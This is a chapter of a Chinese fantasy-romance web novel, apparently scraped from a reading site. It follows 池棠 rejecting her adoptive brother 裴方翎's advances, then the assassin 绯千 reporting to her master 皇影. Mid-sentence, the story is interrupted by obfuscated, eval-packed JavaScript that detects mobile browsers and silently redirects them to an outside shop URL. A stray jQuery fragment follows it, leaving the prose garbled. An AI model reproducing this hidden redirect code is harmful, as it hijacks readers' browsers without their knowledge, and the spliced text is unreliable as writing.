准备好你刺穿胸膛,或者容忍他的存在。
从某个层面上来说,裴方翎是个烂人,他本人也从不否认这一点。因为根本不会有好人对自己的救命恩人图谋不轨十多年,而且这个恩人还是自己名义上的姐姐。
池棠气得牙痒痒:“你以为你能拿捏我?”
“我不敢。”
“不敢?你有什么不敢的?你都敢想要姐姐当老婆了你还有什么不敢的?”池棠破罐子破摔,对方不要脸她还要什么脸面,“你以为我不知道你是怎么想的?就算我捅穿你的心你就会走?我看未必吧!”
“嗯,是这样。”裴方翎在这种事情上倒是很坦然,表情也没有因为池棠直接露骨的表达产生什么波动,恍惚间池棠错把眼前人看成了当初那个小不点。
“我当初就不应该救你!”池棠头一次有些后悔自己的决定。
“其实我一直都很好奇,当年姐姐是怎么找到我的。荒山、废桥、人迹罕至的地方,连我众多的仇家都没能发现,姐姐是如何一下子准确发现我的呢?这些年我做了很多设想,偶然?意外?我愿意相信这是命运的安排,但是姐姐找到我时的表情却不是这样的,那个时候的姐姐如释重负比意外要多吧。你在有目的地找我。”
池棠心下一颤,掌心顿时爬满了密密麻麻的冷汗。
裴方翎的推断完全正确。
他一直在观察她,在她毫不知情地情况下一点点摸索着她,而她懵然未觉,还觉得弟弟真可爱啊。
她真是该死!
怎么会觉得小说男主是什么善良小白花,分明是顶级白切黑!
“所以呢,你现在打算做什么?又要杀我吗?”
“又要?”裴方翎忍不住挑起纤秀的眉宇,“从方才到现在,小棠你不止一次表达出我会伤害你的猜测,我到底做过什么会让你有这样的想法?明明现在连我的剑都在你的手上。”
“.......这和你没有关系!反正话已经说开了,我不会如你所愿的!为了,为了我们两个的身心健康安全,也给彼此留点余地,我们最近别见面,等你想清楚了再来见我。”
“不许反驳!”池棠恶狠狠地盯着裴方翎。
“好。”
裴方翎好说话得令池棠诧异,她还以为他会开始发疯,毕竟之前是连梁晏舟和她多说几句话都要炸毛的人。
“也不许跟着我回家,不许没事在我面前乱晃!”池棠层层加码,心底的不安却没有因此减少半分。
裴方翎了解她,她何尝不了解裴方翎,这个固执的死小孩会乖乖听她的话才怪!他向来是很有主见的人,服从并非赞同,只是恰好你的观点和他相同而已。
“好。”裴方翎道。
池棠眯着眼打量他,最后扔掉鎏光,“别跟着我,我走了。”
她试探性地往前走了几步,回头,裴方翎果然没有移动。
他弯腰捡起鎏光,剑身上的明光照亮侧脸,浓黑的眉宇下眼眸深邃。
“姐姐,能和你商量一件事情吗?”
池棠停住脚步,良久,她说:“什么事?”
“允许我对你好,然后,试着接受我吧——我们本来就不是亲生姐弟。”
“......不允许,我说过不喜欢年纪比我小的。如果你是真的念旧情,这样的话就别再说了。”
*
绯千睁开眼,天已经亮了。
身外身法结束之后需要一段时间的调息恢复,这段时间内绯千独自待在蓬莱阁地下三层的密室中,停止处理任何事务。
黄花梨木桌上摆着铜镜,旁边乌木刀架自上而下陈列着三把宝刀,分别是执妄、虚念、断尘,是当年蓬莱阁成立之时大人送给她的礼物,从此她就成为了蓬莱阁的掌柜。
屋子的装点极尽奢华,架子上一件妖艳夺目的绯红色长袍,轻飘飘如素艳的美人。
彩绘椒饰的墙壁上用赭红与漆黑画着伏羲羲和日月图,两位神明手臂交错,共同托举起日月,金乌、凤凰、十二个小月亮围绕着他们,最高处是一块纯铁打造的徽章,矫健的黑色巨龙盘踞在宫殿之上,爪子笼罩着宫殿主脊,而那宫殿正是北境圣宫主殿。
有人敲响门。
“绯千大人,主人正在找您。”
“嗯,我知道了。”
绯千穿上长袍离开地下室,这里直接连通蓬莱阁最高的殿宇,摘星楼。
绯千穿着华丽的锦袍,缀满珍珠的凤头鞋随着动作发出叮叮当当的声音,古旧的楼梯因为反复摩擦而油光可鉴。
这是一栋很老很老的屋子,房梁、斗拱、飞檐,几乎每一处都被时光沉淀了厚重的温柔。
晨光在窗格中游动徘徊,尘埃在起伏翻滚,绯千伸手推开走廊尽头的门。
优美的歌声随着活泉涌动汩汩流出。
“绣鞍飞红霞,湘浦晚来风。”
纤细的指尖在银弦上翩翩起舞,隔着模糊的红纱,绯千停下脚步,安静地听着那人慢慢且奏且吟。
这声音宛若雏鸟初鸣,又如冰雪消释,新生的欢愉和死亡的哀颓彼此交融,和谐地仿若一体。
蓬莱阁是黑龙会名下最大的财产,这座销金窟售卖美酒、美景、美人,换成源源不断的黄金。绯千是蓬莱阁名义上的掌柜,同时也是蓬莱阁最有名的招牌。
绯千不卖艺也不卖身,豪掷千金所能得到的也不过是蓬莱阁掌柜亲自陪同的一顿晚饭,如果恰好那天绯千的心情很好,她才会为客人唱几支歌。
可就是这样,仍旧有源源不断的人把金子扔进来,只为了见她一面。
人人都称赞她的美丽,但这样美丽的她在主人面前从来不主动抬起脑袋,比起主人的美,她的美只能算是田间地头的萤火虫,而主人是天上的明月。
“意气倾歌舞。”
“龙箫凤歌引碧霄,贝阙玉楼琼烟中。”
“雕笼晃醉纱,怎好似蓬莱。”
“怎好似蓬莱。”
最后一个音符徐徐散去,红纱掀动,皇影从里面走出来,是个秀气俊美的少年,十七八岁的模样,身材清瘦却十分挺拔。他穿着一身和绯千一样的华贵锦袍,显得面容更加白皙,眉宇间笼罩着一丝若有若无的病气,虚弱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17828762|209356||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
间显得更加艳丽动人。
皇影不是他的名字,只是他的代号,意为王的影子。道盟有道盟的王,北境有北境的王,而他是黑龙会的王。不一样的是,道盟和北境是正大光明的,而黑龙会始终潜伏在黑暗中。
他们就像影子一样,而他是影子们的皇帝。
“你回来了,一切都顺利吗?我希望他们没有伤害到你。”皇影将茶盏沿着桌面推过去。
“很顺利,所有的任务都完成了。左临死了,新药物对普通人的提升还是有限,没有达到预期中的阈值便提前发作了;肥遗的位置也已经确定,看起来乐海等人没有与道盟本部联系的意思;您的老朋友,我也见到了。”
“是吗?那么你对他的感觉如何呢?”
绯千心中一动,想起在洞底看到的那一剑。虽然彼此是敌人,但她不能否认,裴方翎就是她见过最强的人。
能借用肥遗的力量,这说明裴方翎力量量级至少是和沉睡中的肥遗是相当的,还有神枢机的转化,她不确定,那一件小小的法宝果真有如此强悍的力量,还是说,裴方翎在其中混入了自己本身的力量。
“照属下估计,他至少能和重伤濒死的肥遗对抗,不过一旦肥遗恢复到正常状态,他也束手无策。而仇肥的大量复活则能从侧面证明,离肥遗重新苏醒的时候不远了。”
“好,那么你本人对他的看法呢?无关敌我,无关任务,只是单纯的从一个女孩对异性的看法出发,绯千喜欢北境王大人吗?”
“不,我们是敌人。”绯千斩钉截铁道。
这表明衷心的话引得皇影哈哈大笑,他笑得前仰后合,素白纸扇遮住半张脸,只露出一双夺人心魄的桃花眼,发出长长的叹息:
“小绯千啊小绯千,为什么要撒谎呢?爱上敌人并不是什么不可饶恕的事情。我常常和你们说,你们是黑龙会的战士,但也是一个人。作为战士你们效忠我,作为人你们应当效忠自己。色爱贪欲是人的本能,若为了我而放弃它们,你们就背叛了自己,而一个连自己都能背叛的家伙,是不值得别人信赖的。”
绯千的脸冷硬如铁:“敌人就是敌人,永远应当站在对立面上,如果有一日我爱上敌人,就请您亲手结果我。”
皇影笑起来,脸颊两边露出两个深深的梨涡,这样的他比起手握重权的王,更像是天真无邪的孩子。
他拉住绯千的手,让她坐在他的腿上:“绯千总是这么固执,如果我不在了,你该怎么办呢?”
“那就践行我的承诺,与您一同去往彼世。”
绯千靠在大人的肩膀上,脑袋微垂,酡红从脖子蔓延上脸颊。只有在这个时候,绯千才会露出少女的模样,她不是一个疯癫的杀手,在爱人的怀抱中,她也只是一个不到二十岁的年轻女孩,她一无所有,只有一颗赤诚的心可以拿去化为火炬。
她就像一只扑火的飞蛾,时刻做好了燃烧翅膀的准备。
人们嘲笑飞蛾扑火自取灭亡,那是因为他们不是飞蛾,不明白光明的意义。他们只看到火焰燎尽了羽翅,却没有看到新的火种在他们的残躯下再次诞生。